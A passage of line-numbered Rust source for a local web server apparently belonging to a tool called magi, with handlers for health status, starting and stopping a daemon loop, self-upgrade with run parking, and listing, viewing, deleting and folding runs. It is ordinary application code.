1718}
1719
1720async fn index(headers: header::HeaderMap) -> Response {
1721 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1722}
1723
1724async fn app_css(headers: header::HeaderMap) -> Response {
1725 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1726}
1727
1728async fn app_js(headers: header::HeaderMap) -> Response {
1729 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1730}
1731
1732#[derive(Debug, Serialize)]
1734struct HealthView {
1735 version: &'static str,
1736 home: String,
1737 queue_rev: u64,
1738 runs_rev: u64,
1739 questions_rev: u64,
1751 talks_rev: u64,
1753 notifications_rev: u64,
1755 notifications_unread: usize,
1758 loop_rev: u64,
1763 runs_unreadable: usize,
1771 disk: DiskView,
1779 questions_open: usize,
1785 questions_needs_owner: usize,
1795 daemon: DaemonView,
1796 #[serde(rename = "loop")]
1802 looping: LoopView,
1803 update: UpdateView,
1810 upgrade: Option<UpgradeProgressView>,
1814}
1815
1816#[derive(Debug, Serialize)]
1823struct UpdateView {
1824 available: bool,
1826 to: Option<String>,
1828}
1829
1830#[derive(Debug, Serialize)]
1832struct UpgradeProgressView {
1833 stage: updater::Stage,
1834 from: String,
1835 to: Option<String>,
1836 waiting_on: Option<String>,
1839 started_at: Timestamp,
1840 updated_at: Timestamp,
1841 detail: Option<String>,
1842 stuck_for_secs: Option<i64>,
1845 stuck_kind: Option<updater::StallKind>,
1848 handover_alive: bool,
1851}
1852
1853fn should_spawn_recheck(cfg: &Update) -> bool {
1860 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1861}
1862
1863fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1875 if progress.is_some_and(|p| !p.stage.terminal()) {
1876 return false;
1877 }
1878 checker.should_check()
1879}
1880
1881fn recheck_poll_period(cfg: &Update) -> Duration {
1894 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1895}
1896
1897async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1921 loop {
1922 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1923 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1924 if !should_spawn_recheck(&cfg.update) {
1925 continue;
1926 }
1927 let Some(checker) = updater::Checker::new(&cfg.update) else {
1928 continue;
1929 };
1930 let progress = updater::read_progress(&home);
1931 if !update_recheck_due(&checker, progress.as_ref()) {
1932 continue;
1933 }
1934 if let Err(e) = checker.newer_release().await {
1935 tracing::warn!("background update recheck failed: {e:#}");
1936 }
1937 }
1938}
1939
1940fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1946 let default;
1947 let cfg = match cfg {
1948 Some(cfg) => cfg,
1949 None => {
1950 default = Config::default();
1951 &default
1952 }
1953 };
1954 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1955 match latest {
1956 Some(latest) => UpdateView {
1957 available: true,
1958 to: Some(latest.tag_name),
1959 },
1960 None => UpdateView {
1961 available: false,
1962 to: None,
1963 },
1964 }
1965}
1966
1967fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1973 let now = Timestamp::now();
1974 let lease = updater::read_lease(&ui.home);
1975 let alive = updater::live_lease(&progress, lease.as_ref(), now);
1976 let run_id = alive
1977 .and_then(|l| l.parked_run.as_deref())
1978 .or(progress.parked_run.as_deref());
1979 let waiting_on = (progress.stage == updater::Stage::Parking)
1980 .then_some(run_id)
1981 .flatten()
1982 .map(|id| {
1983 let waited = alive.map_or_else(String::new, |l| {
1984 let secs = updater::waited_secs(l, now);
1985 format!(" (waited {} min so far)", secs / 60)
1986 });
1987 match read_run(&ui.runs, id).ok() {
1988 Some(run) => format!(
1989 "run {} is finishing {} before the address is handed over{waited}",
1990 run.short(),
1991 run.status.as_str()
1992 ),
1993 None => format!("run {id} is finishing before the address is handed over{waited}"),
1994 }
1995 });
1996 let detail = progress
1997 .detail
1998 .clone()
1999 .or_else(|| updater::read_note(&ui.home, &progress));
2000 let stalled = updater::stall(&progress, lease.as_ref(), now);
2001 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2002 UpgradeProgressView {
2003 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2004 stuck_kind: stalled.map(|s| s.kind),
2005 handover_alive: alive.is_some(),
2006 stage: progress.stage,
2007 from: progress.from,
2008 to: progress.to,
2009 waiting_on,
2010 started_at: progress.started_at,
2011 updated_at: progress.updated_at,
2012 detail,
2013 }
2014}
2015
2016#[derive(Debug, Serialize)]
2021struct DiskView {
2022 #[serde(skip_serializing_if = "Option::is_none")]
2024 free_bytes: Option<u64>,
2025 runs_bytes: u64,
2027 worktrees_bytes: u64,
2029 #[serde(skip_serializing_if = "Option::is_none")]
2031 cache_bytes: Option<u64>,
2032}
2033
2034impl DiskView {
2035 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2037 let cache_bytes = cfg
2038 .and_then(|cfg| cfg.cache_dir())
2039 .map(|dir| crate::disk::dir_size(&dir));
2040 Self {
2041 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2042 runs_bytes: crate::disk::dir_size(&ui.runs),
2043 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2044 cache_bytes,
2045 }
2046 }
2047}
2048
2049#[derive(Debug, Serialize)]
2051struct DaemonView {
2052 running: bool,
2053 idle: Option<bool>,
2054 pid: Option<u32>,
2055 current: Vec<daemon::Current>,
2059 completed: Option<u64>,
2060 stale_for_secs: Option<i64>,
2061}
2062
2063impl DaemonView {
2064 fn of(status: Option<daemon::Reading>) -> Self {
2068 let Some(status) = status else {
2069 return Self {
2070 running: false,
2071 idle: None,
2072 pid: None,
2073 current: Vec::new(),
2074 completed: None,
2075 stale_for_secs: None,
2076 };
2077 };
2078 let now = Timestamp::now();
2079 let age = status.age_secs(now);
2080 Self {
2081 running: status.running(now),
2082 idle: Some(status.idle),
2083 pid: status.pid,
2084 current: status.current,
2085 completed: Some(status.completed),
2086 stale_for_secs: age,
2087 }
2088 }
2089}
2090
2091async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2092 blocking(move || {
2093 let reading = daemon::read_status(&ui.home);
2097 let loop_rev = ui.lock_loop().rev;
2101 let cfg = deputy_config(&ui.repo);
2104 let update = cached_update_view(cfg.as_ref());
2105 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2106 Ok(Json(HealthView {
2107 version: env!("CARGO_PKG_VERSION"),
2108 home: ui.home.display().to_string(),
2109 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2110 runs_rev: runs_revision(&ui.runs),
2111 questions_rev: ui.questions.revision(),
2112 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2113 notifications_rev: ui.notices.revision(),
2114 notifications_unread: ui.notices.count_unread(),
2115 loop_rev,
2116 runs_unreadable: runs_unreadable(&ui.runs),
2117 questions_open: ui.questions.count_open(),
2118 questions_needs_owner: ui.questions.count_needs_owner(),
2119 daemon: DaemonView::of(reading.clone()),
2120 looping: ui.loop_view(reading),
2121 disk: DiskView::of(&ui, cfg.as_ref()),
2122 update,
2123 upgrade,
2124 }))
2125 })
2126 .await
2127}
2128
2129#[derive(Debug, Serialize)]
2131struct LoopView {
2132 running: bool,
2134 stopping: bool,
2142 parking: bool,
2150 owned: bool,
2158 repo: String,
2161 merge: Option<String>,
2164 last_error: Option<String>,
2172 daemon: DaemonView,
2175}
2176
2177#[derive(Debug, Clone, Copy)]
2186struct Foreign {
2187 pid: Option<u32>,
2189}
2190
2191impl Foreign {
2192 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2195 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2199 }
2200
2201 fn who(&self) -> String {
2204 match self.pid {
2205 Some(pid) => format!("another magi process (pid {pid})"),
2206 None => "another magi process".to_owned(),
2207 }
2208 }
2209}
2210
2211type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2216
2217fn launch_daemon(
2219 opts: daemon::Opts,
2220 stop: daemon::Stop,
2221) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2222 Box::pin(daemon::serve_until(opts, stop))
2223}
2224
2225#[derive(Debug, Default)]
2227struct LoopState {
2228 live: Option<Live>,
2230 rev: u64,
2238 last_error: Option<String>,
2241 resume_after_handover: bool,
2246}
2247
2248#[derive(Debug)]
2250struct Live {
2251 stop: daemon::Stop,
2253 handle: tokio::task::JoinHandle<()>,
2258 opts: daemon::Opts,
2262}
2263
2264impl Live {
2265 fn alive(&self) -> bool {
2267 !self.handle.is_finished()
2268 }
2269}
2270
2271fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2278 state.lock().unwrap_or_else(PoisonError::into_inner)
2279}
2280
2281async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2283 blocking(move || {
2284 let reading = daemon::read_status(&ui.home);
2285 Ok(Json(ui.loop_view(reading)))
2286 })
2287 .await
2288}
2289
2290#[derive(Debug, Deserialize)]
2296#[serde(deny_unknown_fields)]
2297struct LoopCommand {
2298 running: bool,
2299 #[serde(default)]
2309 park: bool,
2310}
2311
2312async fn loop_post(
2320 State(ui): State<Arc<Ui>>,
2321 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2322) -> ApiResult<Json<LoopView>> {
2323 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2326 blocking(move || {
2327 let reading = daemon::read_status(&ui.home);
2328 let foreign = Foreign::of(reading.as_ref());
2329 if body.running {
2330 ui.start_loop(foreign)?;
2331 } else {
2332 ui.stop_loop(foreign, body.park)?;
2333 }
2334 Ok(Json(ui.loop_view(reading)))
2335 })
2336 .await
2337}
2338
2339#[derive(Debug, Serialize)]
2341struct UpgradeView {
2342 from: String,
2344 to: Option<String>,
2346 parked: Option<String>,
2348 detail: String,
2350}
2351
2352fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2355 progress.filter(|p| !p.stage.terminal())
2356}
2357
2358async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2382 let reading = daemon::read_status(&ui.home);
2383 if let Some(other) = Foreign::of(reading.as_ref()) {
2384 return Err(ApiError::conflict(format!(
2385 "the loop belongs to {}, so replacing this binary would leave \
2386 that process running an old one against the same queue. Upgrade \
2387 where it was started.",
2388 other.who()
2389 )));
2390 }
2391
2392 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2397 return Err(ApiError::conflict(
2398 "another request is already preparing an upgrade",
2399 ));
2400 };
2401 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2402 return Err(ApiError::conflict(
2403 "an upgrade is already in progress (this process started one and it \
2404 has not finished or failed yet)",
2405 ));
2406 }
2407 let recorded = updater::read_progress(&ui.home);
2408 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2409 return Err(ApiError::conflict(format!(
2410 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2411 stays stuck, restart the deck; on start it settles a stale record.",
2412 p.stage.as_str(),
2413 p.from,
2414 p.to.as_deref().unwrap_or("?"),
2415 )));
2416 }
2417
2418 if crate::updater::disabled_by_env() {
2424 return Ok((
2425 StatusCode::OK,
2426 Json(UpgradeView {
2427 from: env!("CARGO_PKG_VERSION").to_owned(),
2428 to: None,
2429 parked: None,
2430 detail: format!(
2431 "Automatic updates are disabled by {}. Nothing was parked \
2432 and nothing restarted.",
2433 crate::updater::NO_AUTOUPDATE_ENV
2434 ),
2435 }),
2436 ));
2437 }
2438
2439 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2444 let from = env!("CARGO_PKG_VERSION").to_owned();
2445 let latest = match crate::updater::Checker::new(&cfg.update) {
2446 Some(checker) => checker
2447 .newer_release()
2448 .await
2449 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2450 None => None,
2451 };
2452 let Some(latest) = latest else {
2453 return Ok((
2454 StatusCode::OK,
2455 Json(UpgradeView {
2456 from,
2457 to: None,
2458 parked: None,
2459 detail: "Already on the newest release. Nothing was parked \
2460 and nothing restarted."
2461 .to_owned(),
2462 }),
2463 ));
2464 };
2465
2466 let parked = ui.park_for_upgrade()?;
2469 let detail = match &parked {
2470 Some(run) => format!(
2475 "Run {} is parking at its next step, which can take as long as \
2476 the step it is on - up to an hour for an implement wave. The \
2477 deck replaces itself once it parks, comes back, and the loop \
2478 carries that run on from where it stopped. Nothing is lost if \
2479 you close this.",
2480 crate::run::short_of(run)
2481 ),
2482 None => "The deck replaces itself and comes back. Nothing was in \
2483 flight to park."
2484 .to_owned(),
2485 };
2486
2487 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2491 progress.parked_run = parked.clone();
2492 updater::write_progress_logged(&ui.home, &progress);
2496
2497 let home = ui.home.clone();
2498 let looping = ui.looping();
2499 ui.upgrade_spawned
2500 .store(true, std::sync::atomic::Ordering::SeqCst);
2501 let spawned = Arc::clone(&ui.upgrade_spawned);
2502 tokio::spawn(async move {
2503 if let Err(e) = upgrade_and_restart(home.clone()).await {
2504 tracing::error!("the upgrade did not complete: {e:#}");
2505 lock_or_recover(&looping).resume_after_handover = false;
2506 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2510 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2513 }
2514 });
2515
2516 Ok((
2517 StatusCode::ACCEPTED,
2518 Json(UpgradeView {
2519 from,
2520 to: Some(latest.tag_name),
2521 parked,
2522 detail,
2523 }),
2524 ))
2525}
2526
2527async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2532 crate::updater::run_self_update(true, false, true).await?;
2535 updater::log_step(&home, "binary replaced - recording the replaced stage");
2536 if let Some(mut progress) = updater::read_progress(&home) {
2537 progress.advance(updater::Stage::Replaced);
2538 updater::write_progress_logged(&home, &progress);
2539 }
2540 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2541 HANDOVER.notify_one();
2542 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2543 Ok(())
2544}
2545
2546#[derive(Debug, Serialize)]
2552struct RunSummary {
2553 id: String,
2554 short: String,
2555 status: String,
2556 done: bool,
2557 instruction: String,
2558 title: String,
2559 repo: String,
2560 repo_name: String,
2561 created_at: String,
2562 updated_at: String,
2563 candidates: usize,
2564 viable: usize,
2565 judges: usize,
2566 winner: Option<char>,
2567 reviews: usize,
2568 quota_losses: usize,
2569 event: Option<String>,
2570 superseded_by: Option<String>,
2575 waiting: bool,
2582 live: crate::run::Liveness,
2586 pr: Option<crate::run::PrRecord>,
2588 unmerged_by_design: bool,
2594 origin_label: String,
2597}
2598
2599impl RunSummary {
2600 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2601 Self {
2602 id: state.id.clone(),
2603 short: state.short().to_owned(),
2604 status: status_word(state.status),
2605 done: state.status.done(),
2606 unmerged_by_design: state.unmerged_by_design(),
2607 instruction: state.instruction.clone(),
2608 title: title_from(&state.instruction, TITLE_MAX),
2609 repo: state.repo.display().to_string(),
2610 repo_name: state
2611 .repo
2612 .file_name()
2613 .map(|n| n.to_string_lossy().into_owned())
2614 .unwrap_or_default(),
2615 created_at: state.created_at.to_string(),
2616 updated_at: state.updated_at.to_string(),
2617 candidates: state.candidates.len(),
2618 viable: state.viable().len(),
2619 judges: state.config.graph.judges,
2620 winner: state.winner().map(|c| c.label),
2621 reviews: state.reviews.len(),
2622 quota_losses: state.quota.len(),
2623 event: state.events.last().map(|e| e.message.clone()),
2624 waiting,
2625 live,
2626 superseded_by: None,
2629 pr: state.pr.clone(),
2630 origin_label: crate::run::origin_label(state.origin.as_ref()),
2631 }
2632 }
2633}
2634
2635fn status_word(status: RunStatus) -> String {
2638 status.as_str().to_owned()
2642}
2643
2644#[derive(Debug, Deserialize)]
2646struct ListQuery {
2647 #[serde(default)]
2648 limit: Option<usize>,
2649 ids: Option<String>,
2651}
2652
2653impl ListQuery {
2654 fn contains(&self, id: &str) -> bool {
2655 self.ids
2656 .as_ref()
2657 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2658 }
2659}
2660
2661async fn runs_list(
2662 State(ui): State<Arc<Ui>>,
2663 Query(q): Query<ListQuery>,
2664) -> ApiResult<Json<Vec<RunSummary>>> {
2665 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2666 blocking(move || {
2667 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2668 let states = run_ids(&ui.runs)
2669 .into_iter()
2670 .filter_map(|id| read_run(&ui.runs, &id).ok())
2675 .take(limit)
2676 .filter(|run| q.contains(&run.id));
2677 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2678 let summaries = summarize(
2679 states,
2680 &open_runs,
2681 &claimed,
2682 &superseded,
2683 |p| probe.borrow_mut().status(p),
2684 |p| probe.borrow_mut().started_at(p),
2685 );
2686 Ok(Json(summaries))
2687 })
2688 .await
2689}
2690
2691fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2696 let open_runs: HashSet<String> = ui
2697 .questions
2698 .list()
2699 .into_iter()
2700 .filter(|q| q.status.open())
2701 .map(|q| q.run)
2702 .collect();
2703 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2704 .into_iter()
2705 .map(|c| c.run)
2706 .collect();
2707 (open_runs, claimed, ui.queue.superseded())
2708}
2709
2710fn summarize<I, S, D>(
2716 states: I,
2717 open_runs: &HashSet<String>,
2718 claimed: &HashSet<String>,
2719 superseded: &HashMap<String, String>,
2720 mut status_q: S,
2721 mut identity_q: D,
2722) -> Vec<RunSummary>
2723where
2724 I: IntoIterator<Item = RunState>,
2725 S: FnMut(u32) -> Option<bool>,
2726 D: FnMut(u32) -> Option<String>,
2727{
2728 states
2729 .into_iter()
2730 .map(|state| {
2731 let waiting = open_runs.contains(&state.id);
2732 let live =
2733 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2734 let mut row = RunSummary::of(&state, waiting, live);
2735 row.superseded_by = superseded
2736 .get(&state.id)
2737 .map(String::as_str)
2738 .map(crate::run::short_of)
2739 .map(str::to_owned);
2740 row
2741 })
2742 .collect()
2743}
2744
2745#[derive(Debug, Serialize)]
2752struct RunDetailView {
2753 #[serde(flatten)]
2754 state: RunState,
2755 instruction_md: Vec<md::Node>,
2756 #[serde(flatten)]
2760 prose_md: RunProseMd,
2761 live: crate::run::Liveness,
2776 unmerged_by_design: bool,
2781 done: bool,
2786 superseded_by: Option<String>,
2794 latest_attempt: Option<LatestAttempt>,
2808 task: Option<TaskRef>,
2811 origin_label: String,
2815}
2816
2817#[derive(Debug, Serialize)]
2819struct TaskRef {
2820 id: String,
2821 short: String,
2822 title: String,
2823 source_label: String,
2825 source_link: Option<SourceLink>,
2827 status: &'static str,
2829 attempts: usize,
2830 max_attempts: usize,
2831 is_latest: bool,
2833 latest: Option<RunBrief>,
2835 finished_by: Option<RunBrief>,
2837 closed_by_hand: bool,
2839}
2840
2841#[derive(Debug, PartialEq, Eq, Serialize)]
2843struct SourceLink {
2844 kind: &'static str,
2846 id: String,
2848 href: String,
2850}
2851
2852fn encode_segment(raw: &str) -> String {
2854 let mut out = String::with_capacity(raw.len());
2855 for b in raw.bytes() {
2856 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2857 out.push(b as char);
2858 } else {
2859 out.push_str(&format!("%{b:02X}"));
2860 }
2861 }
2862 out
2863}
2864
2865fn source_link(source: &Source) -> Option<SourceLink> {
2869 let Source::Agent { run, node } = source else {
2870 return None;
2871 };
2872 let (kind, route) = if node == crate::queue::CHAT_NODE {
2873 ("chat", "chat")
2874 } else {
2875 ("run", "runs")
2876 };
2877 Some(SourceLink {
2878 kind,
2879 id: run.clone(),
2880 href: format!("#/{route}/{}", encode_segment(run)),
2881 })
2882}
2883
2884#[derive(Debug, Serialize)]
2886struct RunBrief {
2887 id: String,
2888 short: String,
2889 status: Option<&'static str>,
2891 outcome: String,
2893}
2894
2895fn task_outcome(
2898 task: &Task,
2899 this_run: &str,
2900 max_attempts: usize,
2901 read: impl Fn(&str) -> Option<RunState>,
2902) -> TaskRef {
2903 let history = task_history(task, read);
2904 let brief = |h: &TaskRunView| RunBrief {
2905 id: h.id.clone(),
2906 short: h.short.clone(),
2907 status: h.status,
2908 outcome: h.exit.edge_label(h.status),
2909 };
2910 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2911 let latest = if is_latest {
2912 None
2913 } else {
2914 history.last().map(brief)
2915 };
2916 let done = task.status == TaskStatus::Done;
2917 let finished_by = done
2918 .then(|| {
2919 history
2920 .iter()
2921 .rev()
2922 .find(|h| {
2923 matches!(
2924 h.exit,
2925 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2926 )
2927 })
2928 .map(brief)
2929 })
2930 .flatten();
2931 TaskRef {
2932 short: task.short().to_owned(),
2933 title: task.title.clone(),
2934 id: task.id.clone(),
2935 source_label: task.source.label(),
2936 source_link: source_link(&task.source),
2937 status: task.status.as_str(),
2938 attempts: task.attempts,
2939 max_attempts,
2940 is_latest,
2941 latest,
2942 closed_by_hand: done && finished_by.is_none(),
2943 finished_by,
2944 }
2945}
2946
2947#[derive(Debug, Serialize)]
2949struct LatestAttempt {
2950 id: String,
2951 short: String,
2952 resolved: bool,
2963 status: RunStatus,
2966 done: bool,
2968}
2969
2970#[derive(Debug, Default, Serialize)]
2972struct RunProseMd {
2973 advice_md: Option<AdviceMd>,
2975 candidate_summaries_md: Vec<Vec<md::Node>>,
2977 reviews_md: Vec<RoundMd>,
2979}
2980
2981#[derive(Debug, Default, Serialize)]
2982struct AdviceMd {
2983 synthesis: Vec<md::Node>,
2984 approaches: Vec<Vec<md::Node>>,
2986}
2987
2988#[derive(Debug, Default, Serialize)]
2989struct RoundMd {
2990 reviewers: Vec<ReviewerMd>,
2992 reconsideration: Vec<Vec<md::Node>>,
2994 fix: Option<FixMd>,
2995}
2996
2997#[derive(Debug, Default, Serialize)]
2998struct ReviewerMd {
2999 summary: Vec<md::Node>,
3000 findings: Vec<Vec<md::Node>>,
3002}
3003
3004#[derive(Debug, Default, Serialize)]
3005struct FixMd {
3006 notes: Vec<md::Node>,
3007 rejected: Vec<Vec<md::Node>>,
3009}
3010
3011fn run_prose_md(state: &RunState) -> RunProseMd {
3013 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3014 RunProseMd {
3015 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3016 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3017 approaches: a
3018 .records
3019 .iter()
3020 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3021 .collect(),
3022 }),
3023 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3024 reviews_md: state
3025 .reviews
3026 .iter()
3027 .map(|round| RoundMd {
3028 reviewers: round
3029 .reviews
3030 .iter()
3031 .map(|rec| ReviewerMd {
3032 summary: nodes(&rec.summary),
3033 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3034 })
3035 .collect(),
3036 reconsideration: round
3037 .reconsideration
3038 .iter()
3039 .map(|rv| nodes(&rv.reason))
3040 .collect(),
3041 fix: round.fix.as_ref().map(|fix| FixMd {
3042 notes: nodes(&fix.notes),
3043 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3044 }),
3045 })
3046 .collect(),
3047 }
3048}
3049
3050impl RunDetailView {
3051 fn of(
3052 state: RunState,
3053 live: crate::run::Liveness,
3054 superseded_by: Option<String>,
3055 latest_attempt: Option<LatestAttempt>,
3056 task: Option<TaskRef>,
3057 ) -> Self {
3058 Self {
3059 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3060 prose_md: run_prose_md(&state),
3061 origin_label: crate::run::origin_label(state.origin.as_ref()),
3062 live,
3063 unmerged_by_design: state.unmerged_by_design(),
3064 done: state.status.done(),
3065 superseded_by,
3066 latest_attempt,
3067 task,
3068 state,
3069 }
3070 }
3071}
3072
3073async fn run_detail(
3074 State(ui): State<Arc<Ui>>,
3075 Path(id): Path<String>,
3076) -> ApiResult<Json<RunDetailView>> {
3077 blocking(move || {
3078 let id = resolve_run(&ui.runs, &id)?;
3079 let state = read_run(&ui.runs, &id)?;
3080 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3081 let live = state.liveness(daemon_claims);
3082 let superseded_by = ui
3083 .queue
3084 .superseded_by(&id)
3085 .as_deref()
3086 .map(crate::run::short_of)
3087 .map(str::to_owned);
3088 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3092 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3093 short: head.short().to_owned(),
3094 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3095 status: head.status,
3096 done: head.status.done(),
3097 id: head.id,
3098 })
3099 });
3100 let max_attempts = daemon::Opts::default().max_attempts;
3101 let task = ui
3102 .queue
3103 .list()
3104 .into_iter()
3105 .find(|t| t.runs.contains(&id))
3106 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3107 Ok(Json(RunDetailView::of(
3108 state,
3109 live,
3110 superseded_by,
3111 latest_attempt,
3112 task,
3113 )))
3114 })
3115 .await
3116}
3117
3118async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3127 let (id, unreadable) = {
3128 let ui = Arc::clone(&ui);
3129 blocking(move || {
3130 let id = resolve_run(&ui.runs, &id)?;
3131 match read_run(&ui.runs, &id) {
3132 Ok(state) => {
3133 let in_flight =
3134 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3135 state
3136 .ensure_can_delete(in_flight)
3137 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3138 let dir = ui.runs.join(&id);
3139 std::fs::remove_dir_all(&dir)
3140 .with_context(|| format!("remove run directory {}", dir.display()))?;
3141 Ok((id, false))
3142 }
3143 Err(_) => {
3144 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3148 return Err(ApiError::conflict(format!(
3149 "run {id} is being worked on by a live daemon right now"
3150 )));
3151 }
3152 Ok((id, true))
3153 }
3154 }
3155 })
3156 .await?
3157 };
3158 if unreadable {
3159 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3160 .await
3161 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3162 }
3163 let ui = Arc::clone(&ui);
3164 let done = id.clone();
3165 blocking(move || {
3166 ui.questions.abandon_for_run(
3169 &done,
3170 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3171 )?;
3172 Ok(())
3173 })
3174 .await?;
3175 Ok(StatusCode::NO_CONTENT)
3176}
3177
3178async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3202 let (id, state) = {
3203 let ui = Arc::clone(&ui);
3204 blocking(move || {
3205 let id = resolve_run(&ui.runs, &id)?;
3206 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3207 return Err(ApiError::conflict(format!(
3208 "run {id} is being worked on by a live daemon right now"
3209 )));
3210 }
3211 let state = read_run(&ui.runs, &id).ok();
3212 Ok((id, state))
3213 })
3214 .await?
3215 };
3216 let removed = match state {
3217 Some(mut state) => {
3218 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3219 .await
3220 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3221 if removed.is_empty() {
3226 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3227 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3228 }
3229 removed
3230 }
3231 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3232 .await
3233 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3234 };
3235 Ok(Json(FoldView {
3236 run: id,
3237 removed_count: removed.len(),
3238 removed,
3239 }))
3240}
3241
3242#[derive(Debug, Serialize)]
3244struct FoldView {
3245 run: String,
3246 removed: Vec<String>,
3248 removed_count: usize,
3249}
3250
3251#[derive(Debug, Deserialize)]
3254struct FoldMergedBody {
3255 #[serde(default)]
3256 pr_url: String,
3257}
3258
3259async fn run_fold_merged(
3279 State(ui): State<Arc<Ui>>,
3280 Path(id): Path<String>,
3281 Json(body): Json<FoldMergedBody>,
3282) -> ApiResult<Json<FoldMergedView>> {
3283 let pr_url = body.pr_url.trim().to_owned();
3284 if pr_url.is_empty() {
3285 return Err(ApiError::bad_request("pr_url is required"));
3286 }
3287 let (id, mut state) = {
3288 let ui = Arc::clone(&ui);
3289 blocking(move || {
3290 let id = resolve_run(&ui.runs, &id)?;
3291 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3292 return Err(ApiError::conflict(format!(
3293 "run {id} is being worked on by a live daemon right now"
3294 )));
3295 }
3296 let state = read_run(&ui.runs, &id)?;
3297 Ok((id, state))
3298 })
3299 .await?
3300 };
3301 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3302 .await
3303 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3304 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3305 .await
3306 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3307 Ok(Json(FoldMergedView {
3308 run: id,
